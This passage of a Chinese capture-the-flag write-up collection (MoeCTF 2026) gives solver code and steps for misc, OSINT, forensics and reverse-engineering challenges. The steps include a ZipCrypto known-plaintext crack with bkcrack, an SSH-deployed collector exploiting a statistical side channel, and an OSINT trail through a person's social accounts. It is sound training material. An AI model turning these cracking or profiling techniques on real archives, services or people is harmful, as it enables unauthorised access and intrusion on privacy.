if (!(marks in morse)) throw new Error(`Unknown Morse ${marks}`);
digits += morse[marks];
marks = '';
if (duration >= 15) { groups.push(digits); digits = ''; }
}
}
if (marks) digits += morse[marks];
if (digits) groups.push(digits);

// Each pair of Chinese telegraph codes is one core-values phrase.
const codes = {
'1381 1730': 0, // 富强
'3046 0031': 1, // 民主
'2429 2494': 2, // 文明
'0735 6168': 3, // 和谐
'5261 3945': 4, // 自由
'1627 4583': 5, // 平等
'0361 2973': 6, // 公正
'3127 3112': 7, // 法治
'1947 0948': 8, // 爱国
'2417 2814': 9, // 敬业
'6134 0207': 10, // 诚信
'0645 0810': 11, // 友善
};
if (groups.length % 2) throw new Error('Odd number of telegraph codes');
const values = [];
for (let i = 0; i < groups.length; i += 2) {
const key = `${groups[i]} ${groups[i + 1]}`;
if (!(key in codes)) throw new Error(`Unknown telegraph code pair ${key}`);
values.push(codes[key]);
}

const nibbles = [];
for (let i = 0; i < values.length; i++) {
let value = values[i];
if (value >= 10) {
const next = values[++i];
if (next === undefined) throw new Error('Incomplete extended digit');
value = value === 10 ? 10 + next : 6 + next;
}
if (value > 15) throw new Error(`Invalid hexadecimal digit ${value}`);
nibbles.push(value);
}
if (nibbles.length % 2) throw new Error('Odd number of hexadecimal digits');
const bytes = Buffer.alloc(nibbles.length / 2);
for (let i = 0; i < bytes.length; i++) bytes[i] = nibbles[i * 2] * 16 + nibbles[i * 2 + 1];
console.log(bytes.toString('utf8'));
1
moectf{@_Gr4nd_ag3_0f_t3legr4ph7}

命运从未公平

http://127.0.0.1:16988/ 每次刷新返回一段 base64:

1
2
您的抽奖结果是:nouKrp2JEPRD4bVoVOskbGx8dY1odGEQZh==
FLAG中奖概率 0% 我其实没有放FLAG,你猜猜FLAG在哪里呢

解码后固定 25 字节。约 10% 的请求不返回随机串,而是返回明文提示(base64 解码后)

1
2
hint:first_char_frewuency        ← 靶机 5000 端口上的实例
hint:first_char_frequency ← 本地 16988 实例(拼写正确)

提示很明确:看”第一个字符”的频次。(题目里加粗的”头彩“也是同一个双关。)

第 0 字节的 60 种取值不是散乱的,而是 15 组、每组 4 个连号,例如
0x2c~0x2f、0xa0~0xa3、0xd0~0xd3、0x08~0x0b …

原因:响应的第一个 base64 字符被替换成了”抽到的字符”,而 base64 一个字符只占
第 0 字节的高 6 bit,低 2 bit 仍由原始随机字节提供 —— 所以每组 4 连号,
base = 4 * (base64 下标)。

换句话说:响应里第一个 base64 字符,就是抽中的那个字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
"""MoeCTF 2026 抽奖 —— 统计侧信道取 flag"""
import base64, collections, sys, time
import paramiko

SSH = dict(hostname="127.0.0.1", port=16991, username="challenger", password="moectf2026")

COLLECTOR = r'''
import sys, time, urllib.request
from concurrent.futures import ThreadPoolExecutor
URL, MARK, OUT = "http://127.0.0.1:5000/", 'result">', "/tmp/samples.txt"

def one(_):
for _t in range(4):
try:
d = urllib.request.urlopen(URL, timeout=15).read().decode("utf-8", "replace")
return d.split(MARK)[1].split("<")[0]
except Exception:
time.sleep(0.03)
return None

N = int(sys.argv[1])
with open(OUT, "a") as f, ThreadPoolExecutor(max_workers=16) as ex:
done = 0
while done < N:
res = [r for r in ex.map(one, range(500)) if r]
done += 500
f.write("\n".join(res) + "\n"); f.flush()
'''

def run(cli, code, to=120):
_, o, e = cli.exec_command(code, timeout=to)
return o.read().decode("utf-8", "replace"), e.read().decode("utf-8", "replace")

def main(n=60000):
cli = paramiko.SSHClient()
cli.set_missing_host_key_policy(paramiko.AutoAddPolicy())
cli.connect(**SSH, timeout=20, banner_timeout=30, allow_agent=False, look_for_keys=False)

# 1) 采集器写到跳板机
run(cli, "open('/tmp/collector.py','w').write(%r)" % COLLECTOR)
# 2) 脱离 SSH 会话后台跑(远程命令有时限,前台跑会被杀)
run(cli, "\n".join([
"import subprocess, sys",
"open('/tmp/samples.txt','w').close()",
"f = open('/tmp/collector.log','w')",
"p = subprocess.Popen([sys.executable,'/tmp/collector.py',%r], stdout=f,"
" stderr=subprocess.STDOUT, start_new_session=True, close_fds=True)" % str(n),
"print('pid', p.pid)",
]))
# 3) 轮询进度
while True:
time.sleep(15)
out, _ = run(cli, "import os; print(os.path.getsize('/tmp/samples.txt'))")
print("[*] %.1f MB" % (int(out.strip()) / 1048576.0))
log, _ = run(cli, "print(open('/tmp/collector.log').read()[-100:])")
if "DONE" in log:
break
# 4) 分析:首字符频次升序
out, _ = run(cli, "print(open('/tmp/samples.txt').read())", to=600)
raw = collections.Counter(v[0] for v in out.split("\n") if v.strip() and not v.startswith("aGludD"))
asc = ''.join(k for k, _ in reversed(sorted(raw.items(), key=lambda kv: -kv[1])))
print("flag:", "moectf{%s}" % asc)
cli.close()

if __name__ == "__main__":
main(int(sys.argv[1]) if len(sys.argv) > 1 else 60000)

星走路的黑历史

1
2
每个人都有一些黑历史,starwalking也不例外,我们成功发现了他的小号(@2912933891),或许其中能有什么秘密
ps: 请勿添加好友,不添加是可以做出来的

这人的签名里面找到第一部分

image\.png

1
part1:bW9lY3Rme1RoM190

根据提示找留言板,可以看到留言板是最近才发的,那猫腻就在这里边了

image\.png

把这个页面保存到本地,用编辑器打开后看见有零宽字符,找个网站解一下得到第二部分

image\.png

image\.png

1
part2: ckB2M2xfb2ZfMHMx

提示是see me,感觉不出来什么意思,回去空间里面翻,发现留言的跟刚刚的那个不是同一个号

image\.png

接下来这部分要用到手机,打开找个人的标签看到一张图,上面写着第三部分(调一下看得清楚点)

6bee857853bff6c4737a429533e845f1\_720\.png

cb7db25afb273c829ddb1f592806a038\_720\.png

c3395046bec3e39e5dea1c93f6008cde\.png

1
2
part3:bnRfaXNfaW50M3Jl
hint:UID:3707029099120937

16位的UID,想到了B站,找个UID api识别一下

image\.png

看到这个头像的时候就知道我找对了

image\.png

扫一下这个二维码得到第四部分

image\.png

1
c3RpbjlfSEBoNCF9

四段都是base64编码,拼起来去解码就行

1
bW9lY3Rme1RoM190ckB2M2xfb2ZfMHMxbnRfaXNfaW50M3Jlc3RpbjlfSEBoNCF9
1
moectf{Th3_tr@v3l_of_0s1nt_is_int3restin9_H@h4!}

胡言乱语

题目附件是 capture.pcapng。抓包中有一段 TLS 流量,以及一次明文 HTTP 请求:GET /tls.log。响应体正是 TLS 密钥日志。将它保存为 tls.log,在 Wireshark 的「首选项 → 协议 → TLS → (Pre)-Master-Secret log filename」中加载,便能看到加密流量中的请求:

Text
1
GET /flag.zip HTTP/1.1

image\.png

导出响应体得到 flag.zip。压缩包只有 cat.png,使用 ZipCrypto + Deflate 加密。

PNG 的 IEND 结尾固定为 0000000049454e44ae426082。本题中这 12 字节原样位于压缩数据末端。ZIP 条目的压缩大小为 2601551 字节,扣除 12 字节 ZipCrypto 加密头后,已知明文的偏移是 2601551 - 12 - 12 = 2601527。使用 bkcrack 1.8.1:

Text
1
bkcrack.exe -C flag.zip -c cat.png -x 2601527 0000000049454e44ae426082 -j 8

恢复出的内部密钥为 0e4568e5 eb178413 b253505a。直接用它解密,无需找回原始 ZIP 口令:

Text
1
2
bkcrack.exe -C flag.zip -k 0e4568e5 eb178413 b253505a -D unlocked.zip
7z x unlocked.zip

解出的 cat.png 提示 IHDR: CRC error。文件头记录的宽度是 1700,高度是 1024;保持其他字节不变,枚举高度并与原 CRC 21b5335d 比较,得到正确高度 1280:

1
2
3
4
5
6
7
8
9
10
11
12
from pathlib import Path
import zlib

png = bytearray(Path("cat.png").read_bytes())
target = int.from_bytes(png[29:33], "big")

for height in range(1, 20000):
png[20:24] = height.to_bytes(4, "big")
if zlib.crc32(png[12:29]) == target:
print("height =", height) # 1280
Path("cat-fixed.png").write_bytes(png)
break

打开修复后的图片,底部即可读到 flag

image\.png

1
moectf{5133p_ca7_5ay5_r1gh7_h1n7}

基米文件

哈基米语解密https://app\.xiaobaozi\.cn/

image\.png

零宽字符解密

image\.png

得到假flag

1
fakeflag{Why_do_you_come_to_the_hell!}

偶数位中的“眼见为实?”是明文提示,不属于四进制流。奇数位在这几个位置仍有三进制数字,提取时应保留。

奇数位前 308 位解出 moectf{g00d_jo6_c0rpor@1_7ou,还剩一个 0。第 618 位之后全部是三进制流;在这个剩余 0 前补一个 0,与后面的 185 位合并成 187 位,恰好解出 17 个字符:_g3t_th3_s3cre4!}。两段拼接即为真正的 flag。

将 U+200B、U+2062、U+2063 分别替换为 0、1、2,再每 11 位分一组,转成十进制 Unicode 码点

image\.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const fs = require('fs');

const cipher = fs.readFileSync('hachimi.txt', 'utf8').trim();
const digit = { 哈: 0, 基: 1, 米: 2 };
const key = [...'hachimi'].flatMap(c => [...String(c.charCodeAt(0))].map(Number));

function decodeHachimi() {
let result = '';
for (let pos = 0; pos < cipher.length;) {
const shift = digit[cipher[pos]] * 3 + digit[cipher[pos + 1]];
const lengthCode = (digit[cipher[pos + 2]] - shift + 9) % 3;
const length = [6, 9, 12][lengthCode];
const rotated = [...cipher.slice(pos + 3, pos + 3 + length)]
.map(c => digit[c]).join('');
if (rotated.length !== length) throw Error(`Incomplete block at ${pos}`);
const left = Math.min(shift, length);
const trits = rotated.slice(left) + rotated.slice(0, left);
const codepoint = parseInt(trits, 3) - 3 - shift - key[result.length % key.length];
result += String.fromCharCode(codepoint);
pos += 3 + length;
}
return result;
}

const hidden = decodeHachimi();
const base4 = { '\u200c': 0, '\u200d': 1, '\u202c': 2, '\ufeff': 3 };
const base3 = { '\u200b': 0, '\u2062': 1, '\u2063': 2 };

const fourDigits = [];
const threeDigits = [];
for (let i = 0; i < 618; i += 2) {
if (Object.hasOwn(base4, hidden[i])) fourDigits.push(base4[hidden[i]]);
threeDigits.push(base3[hidden[i + 1]]);
}

const fakeBytes = [];
for (let i = 0; i < fourDigits.length; i += 4) {
fakeBytes.push(fourDigits.slice(i, i + 4).reduce((a, d) => 4 * a + d, 0));
}
const fake = Buffer.from(fakeBytes).swap16().toString('utf16le');

function ternaryChars(trits) {
if (trits.length % 11) throw Error('Invalid ternary length');
let out = '';
for (let i = 0; i < trits.length; i += 11) {
out += String.fromCharCode(trits.slice(i, i + 11)
.reduce((a, d) => 3 * a + d, 0));
}
return out;
}

const prefix = ternaryChars(threeDigits.slice(0, 308));
const padding = threeDigits[308];
if (padding !== 0) throw Error('Unexpected padding');
const suffix = ternaryChars([0, padding, ...[...hidden.slice(618)].map(c => base3[c])]);

console.log('Decoy:', fake);
console.log('Flag:', prefix + suffix);
1
moectf{g00d_jo6_c0rpor@1_7ou_g3t_th3_s3cre4!}

星走路的旅程-level3

提取图片线索

照片是在飞机舷窗内拍摄的,对面飞机机身印有“中国东方航空 / CHINA EASTERN”。东航的 IATA 航司代码是 MU,因此航班号可写作 MU 加数字。

检查 JPEG 的 EXIF,可得到拍摄时间 2026:04:27 13:29:15,时区 +08:00。两个 Windows EXIF 字段还分别写着 flightaware 和 0420Z,提示可结合时间到航班追踪网站查询历史航班。这里没有从网站取得可核验的历史记录,因此最终使用题目给出的 MD5 判定,而不把照片中较模糊的机身注册号当作确定依据。

按 flag 格式枚举并校验 MD5

从公开的 OpenFlights 机场表提取中国机场 IATA 代号,分别作为起点和终点;航班号枚举 MU0000 至 MU9999。将每个候选拼成完整 flag 后计算 MD5。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const fs = require('node:fs');
const crypto = require('node:crypto');
const { execFileSync } = require('node:child_process');

const target = '0af5d341bfea997094a329e6ba5ce6c4';
const dataFile = 'airports.dat';
const dataUrl = 'https://cdn.jsdelivr.net/gh/jpatokal/openflights@master/data/airports.dat';
if (!fs.existsSync(dataFile)) {
const curl = process.platform === 'win32' ? 'curl.exe' : 'curl';
execFileSync(curl, ['-fsSL', dataUrl, '-o', dataFile], { stdio: 'inherit' });
}
const codes = [...new Set(
fs.readFileSync(dataFile, 'utf8')
.split(/\r?\n/)
.map(line => line.match(/,"China","([A-Z]{3})",/)?.[1])
.filter(Boolean)
)];
const origins = [...new Set(['PEK', 'SHA', 'PVG', 'NKG', 'XIY', ...codes])];
for (const from of origins) {
for (const to of codes) {
for (let number = 0; number <= 9999; number++) {
const flag = `moectf{${from}_MU${String(number).padStart(4, '0')}_${to}}`;
const digest = crypto.createHash('md5').update(flag).digest('hex');
if (digest === target) {
console.log(flag);
console.log(digest);
process.exit(0);
}
}
}
}
throw new Error('没有找到匹配项');
1
moectf{XIY_MU2137_FOC}

魔理沙偷走了重要的东西

按 PNG chunk 的长度逐个解析,IEND 位于偏移 448052,PNG 在偏移 448064 结束,后面还有 248162 字节。ZIP 的中央目录显示有两个文件:flag.zip 和 marisa.png。

ZIP 实际从偏移 448060 开始。它的前 4 字节被 PNG 的 IEND CRC(AE 42 60 82)占用,覆盖了 ZIP 本应出现的 50 4B 03 04。从该位置截取到文件末尾,并把前 4 字节改回 50 4B 03 04,即可正常解压,得到加密的 flag.zip 和另一张图片 marisa.png。

marisa.png 的 IEND 后还有 56 字节,其中的 Base64 文本 cHdkMjpfdGhpZWZfbWFyaXNh 解码为:

1
pwd2:_thief_marisa

按行读取这张图片的像素,依次取每个像素红色通道的最低位,每 8 位按高位在前组成一个 ASCII 字节。开头得到:

1
pwd1:master_spark

去掉 pwd1:、pwd2: 标签并直接拼接,flag.zip 的 AES-256 密码为 master_spark_thief_marisa。

image\.png

image\.png

image\.png

image\.png

1
moectf{m4risa_1s_the_b3st_th13f_daze}

软件逆向工程

逆向工程入门指北

打开就送吗?

image\.png

1
moectf{C0ngr4tuLati0N_On_find1n9_your_1st_RE_f1aggggg!!!}

Assembly

1
2
3
[复制25字节明文] → [算术判断] ──True──→ [XOR解码15字节] ─┐
│ ├→ [写'\0'] → ret
└──False─→ [直接复制9字节] ──────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

byte_404000 = bytes([
0x6d, 0x6f, 0x65, 0x63, 0x74, 0x66, 0x7b,
0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x31, 0x79,
0x5f, 0x4c, 0x34, 0x6e, 0x67, 0x75, 0x61, 0x67, 0x65, 0x5f,
])

byte_404020 = bytes([
0x73, 0x11, 0x1d, 0x21, 0x2d,
0x72, 0x2d, 0x72, 0x0d, 0x2d,
0x2d, 0x2e, 0x63, 0x63, 0x3f,
])

byte_404030 = bytes([
0x63, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x21, 0x7d,
])

buf = bytearray()

buf.extend(byte_404000[:25])

eax = 0x2a + 0x16
ebx = 0x10 << 2
ecx = 0x39 - 0x20

if eax == 0x40 and eax == ebx and ecx > 0x18:
for b in byte_404020[:15]:
buf.append(b ^ 0x42)
else:
buf.extend(byte_404030[:9])

buf.append(0)

flag = buf.rstrip(b'\x00').decode('ascii')
print(f"Flag: {flag}")
1
moectf{Assemb1y_L4nguage_1S_co0o0Oool!!}

bbxor

反编译后main函数为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
_DWORD v4[38]; // [rsp+0h] [rbp-A0h] BYREF
int n35_1; // [rsp+98h] [rbp-8h]
int n35; // [rsp+9Ch] [rbp-4h]

printf("Input: ");
for ( n35 = 0; n35 <= 35; ++n35 )
__isoc99_scanf("%d", &v4[n35]);
for ( n35_1 = 0; n35_1 <= 35; ++n35_1 )
{
if ( (v4[n35_1] ^ 0x66) != cipher[n35_1] )
{
printf("no");
return 0;
}
}
printf("yes");
return 0;
}

可以看出来

  1. 程序要求输入 36 个整数(n35 <= 35,即 0~35)。

  2. 将每个输入的整数与 0x66 进行 异或(XOR) 运算。

  3. 如果异或结果等于全局数组 cipher 中对应位置的值,则验证通过;否则输出 “no”。

  4. 全部验证通过后输出 “yes”。

根据 XOR 的性质:若 A ^ B = C,则 A = C ^ B。
因此,只需要将 cipher 数组中的每个值再与 0x66 异或一次,即可还原出原始输入。

image\.png

1
2
3
4
5
6
7
8
9
cipher = [
0x0B, 0x09, 0x03, 0x05, 0x12, 0x00, 0x1D, 0x24, 0x52, 0x15, 0x0F, 0x05, 0x39,
0x1E, 0x56, 0x14, 0x39, 0x05, 0x0E, 0x07, 0x57, 0x0A, 0x03, 0x08, 0x01, 0x03,
0x39, 0x15, 0x09, 0x0A, 0x10, 0x03, 0x02, 0x47, 0x47, 0x1B
]

key = 0x66
flag = ''.join(chr(c ^ key) for c in cipher)
print(flag)
1
moectf{B4sic_x0r_cha1lenge_solved!!}

反方向的 RC4

反编译看见main函数

image\.png

程序虽然要求用户输入内容,但是 input 在 fgets 之后没有被使用。真正送入

rc4_crypt 的数据是由 init_cipher 初始化的 buf。

因此,用户输入只是干扰项,随便输入什么都不会影响解密结果。

init_cipher 将全局变量 g_cipher 中的 20 字节数据复制到栈上的局部缓冲区

image\.png

从 .rodata 中可以获得密钥和密文

1
2
3
4
5
6
7
8
9
g_key:
54 68 31 53 5f 31 73 5f 73 65 63 72 65 74 7e 21

ASCII:
Th1S_1s_secret~!

g_cipher:
b2 24 24 03 e3 b4 41 62 11 f3 8a 28 a0 71 9b be
27 46 19 a9

image\.png

rc4_crypt 是标准的 RC4 实现,包含两个阶段。

第一阶段是 KSA,即使用密钥打乱长度为 256 的状态数组

第二阶段是 PRGA,生成密钥流并与密文逐字节异或

RC4 的加密和解密操作完全相同,因此将 g_cipher 再进行一次 RC4 运算即可得到
明文 flag。

image\.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
key = b"Th1S_1s_secret~!"
cipher = bytes.fromhex(
"b2 24 24 03 e3 b4 41 62 11 f3 "
"8a 28 a0 71 9b be 27 46 19 a9"
)


def rc4(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0

for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xff
s[i], s[j] = s[j], s[i]

i = 0
j = 0
result = bytearray()

for value in data:
i = (i + 1) & 0xff
j = (j + s[i]) & 0xff
s[i], s[j] = s[j], s[i]
stream_byte = s[(s[i] + s[j]) & 0xff]
result.append(value ^ stream_byte)

return bytes(result)


print(rc4(cipher, key).rstrip(b"\x00").decode())
1
moectf{OH~Dyn4mic!}

Ultra Potato Xplosion

保留原文件,复制出一个副本后解包

image\.png

在 0x401438 附近可以看到硬编码数据

1
2
3
4
5
40144e: movabs rax,0x5571383672726e46
401458: movabs rdx,0x7574354154534446
401470: movabs rax,0x7267703870414e70
40147a: movabs rdx,0x334673654e4a5046
401492: movabs rax,0x006b4e4b36523346

x86-64 是小端序,因此将这些立即数按内存中的字节顺序还原

1
2
3
4
5
Fnrr68qU
FDSTA5tu
pNAp8pgr
FPJNesF3
F3R6KNk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import argparse
import sys
from pathlib import Path

ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
ENCODED = "Fnrr68qUFDSTA5tupNAp8pgrFPJNesF3R6KNk"

def base58_decode(value: str) -> bytes:
number = 0
for char in value:
number = number * 58 + ALPHABET.index(char)

decoded = number.to_bytes((number.bit_length() + 7) // 8, "big")
leading_zeroes = len(value) - len(value.lstrip(ALPHABET[0]))
return b"\x00" * leading_zeroes + decoded

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--raw", action="store_true", help="write the answer to stdout")
parser.add_argument("-o", "--output", type=Path, help="write the answer to a file")
args = parser.parse_args()

answer = base58_decode(ENCODED)

if args.raw:
sys.stdout.buffer.write(answer + b"\n")
elif args.output:
args.output.write_bytes(answer + b"\n")
print(f"Wrote {len(answer)} answer bytes plus newline to {args.output}")
else:
print(f"encoded: {ENCODED}")
print(f"length: {len(answer)}")
print(f"hex: {answer.hex()}")
print(f"python: {answer!r}")

if __name__ == "__main__":
main()
1
moectf{EaSy_UPX_anD_Base58}

奇怪的 APP

  1. 将 APK 作为 ZIP 打开。

  2. 解析二进制 AXML 的字符串池。

  3. 根据 DEX Header 中的 string_ids 表提取 DEX 字符串。

  4. 扫描资源和 assets 中的 Base64 候选。

  5. 过滤无法解码或不是可打印 ASCII 的干扰项。

  6. 自动尝试片段顺序并匹配标准 flag 格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
#!/usr/bin/env python3
"""One-click solver for MoeCTF 2026 "Strange APP"."""

from __future__ import annotations

import argparse
import base64
import itertools
import re
import struct
import sys
import zipfile
from dataclasses import dataclass
from pathlib import Path

B64_TOKEN = re.compile(
rb"(?<![A-Za-z0-9+/=])([A-Za-z0-9+/]{8,}={0,2})(?![A-Za-z0-9+/=])"
)
FLAG_PATTERN = re.compile(r"(?i)(?:moectf|flag|ctf)\{[^{}\r\n]+\}")

@dataclass(frozen=True)
class Fragment:
source: str
encoded: str
decoded: str

def u16(data: bytes, offset: int) -> int:
return struct.unpack_from("<H", data, offset)[0]

def u32(data: bytes, offset: int) -> int:
return struct.unpack_from("<I", data, offset)[0]

def read_uleb128(data: bytes, offset: int) -> tuple[int, int]:
value = 0
shift = 0
for _ in range(5):
byte = data[offset]
offset += 1
value |= (byte & 0x7F) << shift
if byte & 0x80 == 0:
return value, offset
shift += 7
raise ValueError("invalid ULEB128 value")

def read_utf16_length(data: bytes, offset: int) -> tuple[int, int]:
first = u16(data, offset)
offset += 2
if first & 0x8000:
second = u16(data, offset)
offset += 2
return ((first & 0x7FFF) << 16) | second, offset
return first, offset

def parse_axml_strings(data: bytes) -> list[str]:
"""Read the string pool from an Android binary XML document."""
if len(data) < 8 or u16(data, 0) != 0x0003:
return []

offset = 8
while offset + 8 <= len(data):
chunk_type = u16(data, offset)
header_size = u16(data, offset + 2)
chunk_size = u32(data, offset + 4)
if chunk_size < 8 or offset + chunk_size > len(data):
raise ValueError("malformed AXML chunk")

if chunk_type == 0x0001:
string_count = u32(data, offset + 8)
flags = u32(data, offset + 16)
strings_start = u32(data, offset + 20)
is_utf8 = bool(flags & 0x100)
strings = []

for index in range(string_count):
relative = u32(data, offset + header_size + index * 4)
cursor = offset + strings_start + relative

if is_utf8:
_, cursor = read_uleb128(data, cursor)
byte_length, cursor = read_uleb128(data, cursor)
raw = data[cursor : cursor + byte_length]
strings.append(raw.decode("utf-8", errors="replace"))
else:
char_length, cursor = read_utf16_length(data, cursor)
raw = data[cursor : cursor + char_length * 2]
strings.append(raw.decode("utf-16le", errors="replace"))

return strings

offset += chunk_size

return []

def parse_dex_strings(data: bytes) -> list[str]:
"""Read string_data_item values using the DEX header string_ids table."""
if len(data) < 0x70 or not data.startswith(b"dex\n"):
return []

string_count = u32(data, 0x38)
string_ids_offset = u32(data, 0x3C)
if string_ids_offset + string_count * 4 > len(data):
raise ValueError("malformed DEX string_ids table")

strings = []
for index in range(string_count):
cursor = u32(data, string_ids_offset + index * 4)
if cursor >= len(data):
raise ValueError("malformed DEX string_data offset")

_, cursor = read_uleb128(data, cursor)
end = data.find(b"\x00", cursor)
if end < 0:
raise ValueError("unterminated DEX string")
strings.append(data[cursor:end].decode("utf-8", errors="replace"))

return strings

def decode_base64(token: bytes) -> str | None:
if len(token) % 4 == 1:
return None

padded = token + b"=" * ((4 - len(token) % 4) % 4)
try:
raw = base64.b64decode(padded, validate=True)
decoded = raw.decode("ascii")
except (ValueError, UnicodeDecodeError):
return None

if len(decoded) < 4 or any(ord(char) < 0x20 or ord(char) > 0x7E for char in decoded):
return None

# Every intended fragment contains a flag delimiter, punctuation, digit,
# or underscore. This removes ordinary English identifiers that happen
# to use only the Base64 alphabet.
if not any(char in "{}_?!0123456789" for char in decoded):
return None
return decoded

def fragments_from_strings(source: str, strings: list[str]) -> list[Fragment]:
data = "\n".join(strings).encode("utf-8", errors="ignore")
return fragments_from_bytes(source, data)

def fragments_from_bytes(source: str, data: bytes) -> list[Fragment]:
fragments = []
for match in B64_TOKEN.finditer(data):
token = match.group(1)
decoded = decode_base64(token)
if decoded is not None:
fragments.append(Fragment(source, token.decode("ascii"), decoded))
return fragments

def collect_fragments(apk_path: Path) -> list[Fragment]:
fragments: list[Fragment] = []

with zipfile.ZipFile(apk_path) as apk:
names = set(apk.namelist())

if "AndroidManifest.xml" in names:
manifest = apk.read("AndroidManifest.xml")
strings = parse_axml_strings(manifest)
if strings:
fragments.extend(fragments_from_strings("AndroidManifest.xml", strings))
else:
fragments.extend(fragments_from_bytes("AndroidManifest.xml", manifest))

if "classes.dex" in names:
dex_strings = parse_dex_strings(apk.read("classes.dex"))
fragments.extend(fragments_from_strings("classes.dex", dex_strings))

for name in apk.namelist():
if name in {"AndroidManifest.xml", "classes.dex"} or name.startswith("META-INF/"):
continue
if name.endswith("/"):
continue
data = apk.read(name)
if len(data) <= 2 * 1024 * 1024:
fragments.extend(fragments_from_bytes(name, data))

unique = []
seen = set()
for fragment in fragments:
key = (fragment.encoded, fragment.decoded)
if key not in seen:
seen.add(key)
unique.append(fragment)
return unique

def reconstruct_flag(fragments: list[Fragment]) -> tuple[str, tuple[Fragment, ...]] | None:
direct = [
(fragment.decoded, (fragment,))
for fragment in fragments
if FLAG_PATTERN.fullmatch(fragment.decoded)
]
if direct:
return direct[0]

# Prefer a solution using every extracted fragment. Falling back to
# smaller subsets makes the solver tolerate unrelated printable Base64.
maximum = min(len(fragments), 8)
for count in range(maximum, 1, -1):
for selected in itertools.permutations(fragments, count):
candidate = "".join(fragment.decoded for fragment in selected)
if FLAG_PATTERN.fullmatch(candidate):
return candidate, selected
return None

def main() -> int:
parser = argparse.ArgumentParser(
description="Solve the MoeCTF 2026 Strange APP APK using only Python stdlib."
)
parser.add_argument("apk", nargs="?", default="chall11.apk", help="path to the challenge APK")
args = parser.parse_args()

apk_path = Path(args.apk).resolve()
if not apk_path.is_file():
print(f"[-] APK not found: {apk_path}", file=sys.stderr)
return 1

try:
fragments = collect_fragments(apk_path)
except (OSError, ValueError, zipfile.BadZipFile, struct.error) as exc:
print(f"[-] Failed to analyze APK: {exc}", file=sys.stderr)
return 1

print(f"[+] APK: {apk_path.name}")
print(f"[+] Decoded Base64 fragments: {len(fragments)}")
for fragment in fragments:
print(f" {fragment.source}: {fragment.encoded} -> {fragment.decoded}")

result = reconstruct_flag(fragments)
if result is None:
print("[-] Could not reconstruct a complete flag.", file=sys.stderr)
return 2

flag, order = result
print("[+] Reconstruction order:")
for index, fragment in enumerate(order, 1):
print(f" {index}. {fragment.source}: {fragment.decoded}")
print(f"[+] FLAG: {flag}")
return 0

if __name__ == "__main__":
raise SystemExit(main())

1
moectf{Apk_REv3rse_1s_fuN_r1ghT?!!!}

请你喝茶

将32字节flag拆分为前后两个16字节块分别处理:前半部分经标准TEA加密验证,后半部分经XTEA加密验证;解题时需在IDA中从.rodata段提取两组密文和密钥(注意x86-64小端序转换),再根据TEA/XTEA加密算法的对称性编写对应的解密函数(TEA逆序减运算并回退delta,XTEA则额外涉及基于sum的密钥索引选择),最终将两段解密结果拼接即可还原完整flag。

image\.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>

#define uint unsigned int

void tea_decrypt(uint cipher[2], uint key[4])
{
uint delta = -1640531527 * 32;

for(int i = 1; i <= 32; i++)
{
cipher[1] -= (cipher[0] + delta) ^ (16 * cipher[0] + key[2]) ^ (cipher[0] / 32 + key[3]);
cipher[0] -= (cipher[1] + delta) ^ (16 * cipher[1] + key[0]) ^ (cipher[1] / 32 + key[1]);
delta += 1640531527;
}
}

void xtea_decrypt(uint cipher[2], uint key[4])
{
uint delta = 0xC6EF3720;

for(int i = 1; i <= 32; i++)
{
cipher[1] -= (((cipher[0] * 16) ^ (cipher[0] / 32)) + cipher[0]) ^ (key[(delta >> 11) & 3] + delta);
delta += 0x61C88647;
cipher[0] -= (((cipher[1] * 16) ^ (cipher[1] / 32)) + cipher[1]) ^ (key[delta & 3] + delta);
}
}

int main()
{
uint cipher1[4] = {
0xB3E7E33E,
0xB4114672,
0x8E088C0C,
0x14B2C329
};

uint key1[4] = {
0x12345678,
0x87654321,
0x13572468,
0x24681357
};

